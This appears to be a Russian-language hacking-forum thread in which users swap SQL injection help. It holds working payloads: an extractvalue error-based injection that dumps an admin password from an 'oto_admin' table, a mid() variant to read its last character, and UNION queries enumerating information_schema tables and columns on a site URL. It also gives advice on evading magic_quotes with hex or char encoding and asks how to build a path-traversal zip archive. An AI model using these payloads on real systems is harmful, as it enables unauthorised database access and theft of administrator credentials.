блин, вот так выводится 31 символ ?id=1+|(extractvalue(1,concat(0x3a,(SELECT password FROM oto_admin LIMIT 1)))) ,как вывести последний символ? LIMIT 1,1 пустая страница

SELECT mid(password,31,32) FROM oto_admin LIMIT 1

спасибо)

Данные векторы потихоньку уходят в прошлое. Если версия форка позволяет, используйте вектор с наибольшим количеством вывода символов (475! error-based через begint):

Пример: /showpost.php?p=3815102&postcount=23814

Есть уязвимый скрипт, который производит распаковку zip-архива, загруженного пользователем.

Можно ли создать zip-архив, который бы распаковывался, например, на диреторию више ("../") ?

Вроде видел пример создания такого архива, но не могу найти.

вопрос от начинающего

база 5.0.95

вот так вывожу таблицы http://www.site.com/news/readnews.php?id=2+and+1=0+union+select+1,2,3,group _concat(table_name),5,6+from+information_schema.ta bles--

нахожу нужную мне таблицу например у меня modx_active_users -

делаю так http://www.site.com/news/readnews.php?id=2+and+1=0+union+select+1,2,3,group _concat(column_name),5,6+from+information_schema.c olumns+where+table_name='modx_active_users'--

и получаю такую ошибку You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\'modx_active_users\\\'--' at line 1

так как начинающий я непойму что делаю нетак!?

Скорее всего magic_quotes_gpc = on

Используйте hex или char.

стоит фильтрация на ( и ). пробовал обойти с помощью urlencode — не вышло

что предпринять можно?

большое спасибо помог - char